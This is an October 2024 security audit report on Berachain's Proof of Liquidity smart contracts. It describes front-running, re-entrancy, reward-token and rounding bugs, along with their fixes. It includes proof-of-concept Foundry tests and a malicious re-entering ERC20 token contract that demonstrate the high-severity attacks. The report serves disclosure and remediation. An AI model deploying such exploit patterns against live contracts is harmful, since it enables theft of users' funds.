Berachain Proof Of Liquidity

Audit Report

prepared by Pavel Anokhin (@panprog)

October 14, 2024

Version: 2

Contents

1. About Guardefy and @panprog

Pavel Anokhin or **@panprog**, doing business as Guardefy, is an independent smart contract security researcher with a track record of finding numerous issues in audit contests, bugs bounties and private solo audits. His public findings and results are available at the following link:

https://audits.sherlock.xyz/watson/panprog

2. Disclaimer

Smart contract audit is a time, resource and expertise bound effort which doesn't guarantee 100% security. While every effort is put into finding as many security issues as possible, there is no guarantee that all vulnerabilities are detected nor that the code is secure from all possible attacks. Additional security audits, bugs bounty programs and on-chain monitoring are strongly advised.

This security audit report is based on the specific commit and version of the code provided. Any modifications in the code after the specified commit may introduce new issues not present in the report.

3. Scope of the audit

The code at the following link was reviewed:

https://github.com/berachain/contracts-monorepo

commit hash: b60450ec5129ecfc12ddf4cb6012dad056ceb7c3

Files in scope:

```
src/pol/BGT.sol
src/pol/BGTFeeDeployer.sol
src/pol/BGTStaker.sol
src/pol/FeeCollector.sol
src/pol/POLDeployer.sol
src/pol/RootHelper.sol
src/pol/beacon/BeaconVerifier.sol
src/pol/beacon/SSZ.sol
src/pol/beacon/Verifier.sol
src/pol/rewards/BerachainRewardsVault.sol
src/pol/rewards/BerachainRewardsVaultFactory.sol
src/pol/rewards/BeraChef.sol
src/pol/rewards/BlockRewardController.sol
src/pol/rewards/Distributor.sol
src/base/Create2Deployer.sol
src/base/FactoryOwnable.sol
src/base/IStakingRewards.sol
src/base/IStakingRewardsErrors.sol
src/base/StakingRewards.sol
src/libraries/Utils.sol
```

The fix review was done using the following PRs:

https://github.com/berachain/contracts-monorepo/pull/462

https://github.com/berachain/contracts-monorepo/pull/458

4. Audit Timeline

Audit start: October 3, 2024

Audit report delivered: October 14, 2024

Fixes reviewed: October 25, 2024

5. Findings

5.1. High severity findings

5.1.1. [H-1] BerachainRewardsVault.addIncentive is vulnerable to front-running or DOS.

Berachain rewards vaults allow protocols to add incentive for validators to forward emission towards their vault: when set up, the validator is rewarded with incentive token in the amount of **incentiveRate * bgtEmitted**. The issue is with setting the **incentiveRate**: any user can set it to any value (not more than **1e36**) via permissionless **addIncentive** function when the remaining incentive amount in the pool is below **minIncentiveRate**. Protocol has no special process to set the **incentiveRate**, and thus is vulnerable to front-running or DOS leading to incorrect **incentiveRate** being set, which protocol is unable to change.

Attack scenario 1:

1. Admin whitelists a new incentive token for the reward vault OR incentive token remaining amount falls below minIncentiveRate (say, 10 tokens).
2. Protocol wants to add a large amount of incentive token (say, 10000 tokens) with the incentiveRate of 10 tokens per 1 BGT emitted to the vault, sending addIncentive transaction with 10000 tokens and incentiveRate = 10e18.
3. Attacker front-runs the transaction with his own transaction of addIncentive with 11 tokens and incentiveRate = 1e36.
4. Attacker's transaction executes successfully, adding 11 tokens and setting incentiveRate = 1e36. Protocol's transaction executes successfully, adding 10000 tokens, but the incentiveRate is ignored, because remaining amount of tokens is greater than minIncentiveRate.
5. In the end, all 10000 tokens added by the protocol are depleted in 1 block even if the validator emits only a tiny amount of BGT to the vault, due to huge incentive rate unexpected by the protocol. Effectively all these incentive tokens are stolen.

Attack scenario 2:

1. Any time incentive token remaining amount just falls below minIncentiveRate (say, 10 tokens)
2. Attacker immediately sends the addIncentive transaction with 11 tokens and any incentiveRate (in particular, any unreasonably high amount of it).
3. Repeats again and again, denying anyone else to reduce incentive rate to any other amount than what the attacker set.

Proof of concept

https://gist.github.com/panprog/df4d87b9761033cf067140eb0918154f

```
function test_addIncentiveFrontrun() public {
    // Whitelist the token
    vm.prank(governance);
    vault.whitelistIncentiveToken(address(dai), 100 * 1e18);
    dai.mint(address(this), type(uint256).max);
    dai.approve(address(vault), type(uint256).max);
    // front-runner adds slightly more than minimum incentive
    vault.addIncentive(address(dai), 101e18, 1e36);
    // and only then honest transaction executes trying to set reasonable rate
    vault.addIncentive(address(dai), 1e27, 1000e18);
    // check the dai incentive data
    (uint256 minIncentiveRate, uint256 incentiveRate, uint256 amountRemaining) =
        vault.incentives(address(dai));
    assertEq(minIncentiveRate, 100 * 1e18);
    assertEq(incentiveRate, 1e36);
    assertEq(amountRemaining, 101e18+1e27);
}
```

Likelihood

High likelihood and easy to perform for the attacker. Even if front-running is impossible / hard to do in the Berachain, this can still happen without front-running (in particular, scenario 2) when the vault runs out of incentive token and it has to be re-plenished, and then attacker can set high **incentiveRate** many times, denying service or (if protocol replenishes at about the same time but slightly later) stealing all incentive token.

Impact

All incentive token added by the protocol (or the other honest user) is stolen, or protocol is denied the ability to set the correct **incentiveRate** amount.

Possible mitigation

It seems that there are no good permissionless methods to set **incentiveRate** without having any issues for the protocol, so it's suggested to add a separate access-controlled function with only protocol having access to set **incentiveRate**. This will also make it possible for protocols to better control the rate if, for example, BGT (BERA) token price falls sharply (or incentive token price rises significantly) and protocol wants to reduce the rate to account for it, not to overpay the validators. Currently protocol will have to wait until all token is spent before adjusting the rate.

Status:

Fixed

Fix review:

Fixed by adding **manager** permissioned role. **addIncentive** function can now only be called by the **manager**.

5.1.2. [H-2] Distributor.distributeFor re-entrancy vulnerability allowing to artificially increase BGT inflation.

Distributor.distributeFor can be re-entered via malicious incentive token's **transfer** function inside **BerachainRewardsVault._processIncentives**:

```
function _processIncentives(bytes calldata pubkey, uint256 bgtEmitted) internal {
    // Validator's operator corresponding to the pubkey receives the incentives.
    // The pubkey -> operator relationship is maintained by the BeaconDeposit contract.
    address _operator = beaconDepositContract.getOperator(pubkey);

    uint256 whitelistedTokensCount = whitelistedTokens.length;
    unchecked {
        for (uint256 i; i < whitelistedTokensCount; ++i) {
            address token = whitelistedTokens[i];
            Incentive storage incentive = incentives[token];
                uint256 amount = FixedPointMathLib.mulDiv(bgtEmitted, incentive.incentiveRate,
PRECISION);
            uint256 amountRemaining = incentive.amountRemaining;
            amount = FixedPointMathLib.min(amount, amountRemaining);

            if (amount > 0) {
                // Transfer the incentive to the operator.
                // slither-disable-next-line arbitrary-send-erc20
                bool success = token.trySafeTransfer(_operator, amount);
```

While the incentive token has to be whitelisted by admin (governance), it's still possible that an upgradable token controlled by the protocol is whitelisted and later it's either hacked with malicious upgrade, or the protocol turns malicious. Then either validator has to collude with the protocol, or the protocol deploys a validator node and thus gets controlled validator.

Once this is done, the re-entrancy allows the protocol to call **Distributor.distributeFor** again and again, sending more BGT to validator and reward vaults with each call. The process will stop only when the BGT invariant of BERA balance higher than BGT total supply fails, effectively stealing all BERA token the BGT token holds for the users to be able to burn BGT for BERA. It's also possible to send BERA to BGT contract to continue minting BGT tokens if needed (say, to be able to control the governance).

Proof of concept.

https://gist.github.com/panprog/07d44cd592ba2a462cc21866b41c61a7

```
function test_DistributeReentrance() public {
    vm.roll(distributor.getLastActionedBlock() + 1);
    rt = new ReenterToken();
    rt.mint(address(this), type(uint256).max);
    vm.prank(governance);
    vault.whitelistIncentiveToken(address(rt), 100 * 1e18);
    vm.stopPrank();
    rt.approve(address(vault), type(uint256).max);
    vault.addIncentive(address(rt), 101e18, 100e18);
    rt.transfer(address(vault), 101e18); // more incentive sent in reentrancy
    rt.setCaller(address(this));
```

```
        distributor.distributeFor(0, uint64(block.number), 0, valPubkey, dummyProof, dummyProof);
        assertEq(bgt.allowance(address(distributor), address(vault)), 200 ether);
    }

    function ReEnter() external {
        rt.setCaller(address(0)); // turn off re-entrance
        distributor.distributeFor(0, uint64(block.number), 0, valPubkey, dummyProof, dummyProof);
    }
```

ReenterToken.sol:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import { ERC20 } from "solady/src/tokens/ERC20.sol";
interface ICaller {
    function ReEnter() external;
}
contract ReenterToken is ERC20 {
    string private constant _name = "ReenterToken";
    string private constant _symbol = "RT";
    ICaller caller;
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
    function burn(address from, uint256 amount) external {
        _burn(from, amount);
    }
    function name() public pure override returns (string memory) {
        return _name;
    }
    function symbol() public pure override returns (string memory) {
        return _symbol;
    }
    function setCaller(address _caller) external {
        caller = ICaller(_caller);
    }
    function transfer(address to, uint256 amount) public override returns (bool) {
        if (address(caller) != address(0))
            caller.ReEnter();
        return super.transfer(to, amount);
    }
}
```

Likelihood

Average likelihood and easy to perform for the attacker if its upgradable incentive token is whitelisted.

Impact

Highly inflated BGT inflation, all of which is stolen by the colluded malicious validator and protocol.

Possible mitigation

Add **nonReentrant** modifier to **distributeFor** function to protect against re-entrancy.

Status:

Fixed

Fix review:

Fixed by adding **nonReentrant** modifier to **distributeFor** function and additionally by changing the order of **_incrementBlock** and **_distributeFor** calls, so any attempt to re-enter with the same block will revert as it's no longer actionable block.

5.2. Medium severity issues

5.2.1. [M-1] BGTStaker.setRewardToken allows to change the reward token even when contract still owes reward tokens to users, messing things up.

When admin sets a BGTStaker's reward token, it is not allowed if reward rate is not 0:

```
function setRewardToken(address _rewardToken) external onlyOwner {
    if (rewardRate != 0) RewardCycleStarted.selector.revertWith();
    rewardToken = IERC20(_rewardToken);
    emit RewardTokenSet(_rewardToken);
}
```

The issue is that **rewardRate** can be 0 after the end of reward period, however users are still owed the rewards, and when they claim it via **getReward**, it's sent using the **rewardToken**. This means that it shouldn't be possible to change the reward token once reward cycle has started (as opposed to current condition of ***inside reward cycle***, allowing changing token after the end of reward cycle before the new cycle starts).

Likelihood

Low likelihood as it requires admin to set a new reward token.

Impact

Users will be sent the amounts rewarded in one token, but in the other token, or the claim function will revert if not enough of the new reward token is available.

Possible mitigation

Consider removing the **setRewardToken** function from the **BGTStaker** or use a different method to determine that reward cycle has started at least once (for example, add a new bool storage variable, which will be set in **notifyRewardAmount**).

Status:

Fixed

Fix review:

Fixed by removing **setRewardToken** function from the **BGTStaker**.

5.2.2. [M-2] Distributor.distributeFor can notify 0 amounts to vaults if weight = 0, delaying the reward distribution in these vaults.

When the reward BGT emitted to the reward vault is 0 (which can happen if vault's weight is 0), the **notifyRewardAmount** for the rewards vault is still called with this 0 amount. Due to the way the reward vaults are coded, notifying it with 0 amount resets (prolongs) the reward period, thus delaying the reward distribution with each call.

This only applies to the vaults which receive BGT rewards infrequently, for example if only 1 small validator emits reward to them. The other validator(s) can intentionally include this vault with weight = 0 to delay the distribution of this reward.

Likelihood

Average likelihood as it only happens to the vaults with very infreqent BGT reward emitted. But for such vaults it's very easy to delay their reward distribution, as each validator can easily include such vaults with 0 weight in their cutting board.

Impact

Users receiving their reward much longer than expected.

Possible mitigation

Consider requiring the cutting board weights to be above 0 as it doesn't make sense to set receiver with 0 weight.

Status:

Fixed

Fix review:

Fixed by requiring cutting board weights to be non-0 when validating weights.

5.3. Low severity issues

5.3.1. [L-1] StakingRewards.undistributedRewards inflates amount of rewards owed to users by fractions of wei and doesn't serve its purpose of reducing amount of dust accumulated in the contract.

StakingRewards.undistributedRewards serves the purpose of accounting the dust token amounts lost due to rounding error, reducing the dust accumulated in the contract and more fair distribution of rewards. However, while **rewardRate** is calculated in resolution of 18 decimals (on top of token decimals), **undistributedRewards** are calculated in token decimals. This defeats the purpose of more correct calculations, losing rewards calculations precision. Another issue which is more serious is that calculation of **undistributedRewards** in **_setRewardRate()** inflates amount of reward owed to users:

```
    function _setRewardRate() internal virtual {
        uint256 _rewardsDuration = rewardsDuration; // cache storage read
        uint256 _rewardRate = FixedPointMathLib.fullMulDiv(undistributedRewards, PRECISION,
_rewardsDuration);
        rewardRate = _rewardRate;
        periodFinish = block.timestamp + _rewardsDuration;
        // TODO: remove undistributedRewards
        undistributedRewards -= FixedPointMathLib.fullMulDiv(_rewardRate, _rewardsDuration,
PRECISION);
    }
```

Notice the last line, which subtracts **rewardRate * rewardsDuration** rounded down when removing the 18 decimals precision from **undistributedRewards**. When rounding down, the value becomes smaller, but as it's subtracted, the final **undistributedRewards** is greater than it should be (is "rounded up"). This means that the amount protocol owes to users is inflated when calculated in 18 decimals resolution.

Example:

```
undistributedRewards = 100
rewardsDuration = 3
rewardRate = 100*1e18/3 = 3333333333333333333 (33.333..)
undistributedRewards = 100 – 3333333333333333333 * 3 / 1e18 = 1
owed to users (in 18 decimals) = rewardRate * rewardsDuration + undistributedRewards * 1e18 =
10099999999999999999 (100.999…)
```

This inflated amount was the reason behind the "**Incorrect** mulDiv **leads to rewards being stuck"** issue (several reward notifications sum up the fractional inflated amount until it exceeds 1 wei) which was fixed by truncating 18-decimals precision when calculating **rewardPerToken()**:

```
        // computes reward per token by rounding it down to avoid reverting '_getReward' with
insufficient rewards
        uint256 _newRewardPerToken =
                FixedPointMathLib.divWad(FixedPointMathLib.mulWad(rewardRate, timeDelta),
_totalSupply);
```

While this precision truncation has solved the issue, it rounds down against the user, accumulates more dust amount and makes the **undistributedRewards** even more

useless. Additionally, this inflated 18-decimals rewards amount might cause issues if there are some modifications to this function in the future which do not account for this.

Likelihood

Happens always

Impact

More dust amount accumulated in the account than necessary, user losing some dust amounts which he should receive if calculated correctly. Potential future changes issues.

Possible mitigation

Store **undistributedRewards** in 18-decimals precision same as **rewardRate**, remove 18-decimals precision truncation from **rewardPerToken()** calculation.

Status:

Fixed

Fix review:

Fixed by changing calculations to 18-decimals precision **undistributedRewards**.